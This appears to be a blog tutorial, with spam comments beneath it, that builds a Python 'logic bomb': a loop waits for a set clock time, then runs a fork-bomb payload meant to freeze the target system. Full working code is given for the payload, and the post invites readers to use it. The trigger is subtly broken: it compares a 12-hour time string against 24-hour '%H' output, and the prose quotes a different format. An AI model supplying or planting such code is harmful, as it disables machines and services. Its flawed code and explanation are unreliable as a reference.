Simple Logic bomb in Python

Build a simple logic bomb in Python

Introduction:

Hello, in this tutorial I will show you how to build a simple logic bomb in Python. NOTE: This is for educational purposes only.

First things first let’s understand what a logic bomb is. According to Wikipedia; A logic bomb is a piece of code intentionally inserted into a software system that will set off a malicious function when specified conditions are met.

A computer virus/malware basically has 3 parts:

Our logic bomb:

Our logic bomb is pretty simple,here is an overview of our code:

  • Infection mechanism : our bomb is a simple script that only works when the script is executed.
  • Trigger : The Trigger is simple, it’s a loop that checks when a time we set is the same as the system time, then and only then will the payload be deployed.
  • Payload : our payload is a fork bomb.

The code:

We only require Python’s time and os modules:

import os
import time

Next let’s write our payload:

def bomb(max):
    i = 0
    while i != max:
        os.fork()
        i+=1

Our payload accepts an argument max an integer which determines how long the loop runs.

The final step; we write the execution/trigger logic:

while 1:
    if "01:30:PM" == time.strftime("%H:%M:%p"):
        bomb(50)
        break

The code above simply checks for when our time “01:30:PM” matches with the system time time.strftime(“%H:%M%p”).

Putting it together:

import os
import time

def bomb(max):
    i = 0
    while i != max:
        os.fork()
        i+=1

while 1:
    if "01:30:PM" == time.strftime("%H:%M:%p"):
        bomb(50)
        break

Use these code wisely, it causes the target system to freeze up until it’s done executing. That concludes our build a logic bomb in Python.

Please do share with your friends and colleagues 😊😊.

15 comments

  1. Id wish to thank you for the efforts you have made in writing this article. I am hoping the same ideal function from you inside the long term also. In reality your creative writing abilities has inspired me to start my very own BlogEngine blog now.

  2. Im extremely impressed with your writing skills as well as with the layout on your weblog. Is this a paid theme or did you modify it yourself? Either way keep up the excellent quality writing, it is rare to see a great blog like this one these days..

  3. I found your blog web site on yahoo and examine just a few of your early contents. Proceed to keep up the very good operate. I simply additional up your RSS feed to us RSS Bar News Reader. Searching for forward to reading super from you later on!?I am usually to blogging and i really respect your posts. Popular Free Webmaster

  4. Great goods from you, man. I have understand your stuff previous to and you are just extremely excellent. I actually like what youve acquired here, really like what you are saying and the way in which you say it. You make it entertaining and you still take care of to keep it smart. I cant wait to read much more from you. This is actually a great site.

  5. kinda like what you published actually. it just is not that easy to find even remotely good stuff to read (you know READ! and not just browsing through it like some uniterested and flesh eating zombie before moving on), so cheers man for not wasting my time!

Leave a Reply

Your email address will not be published. Required fields are marked *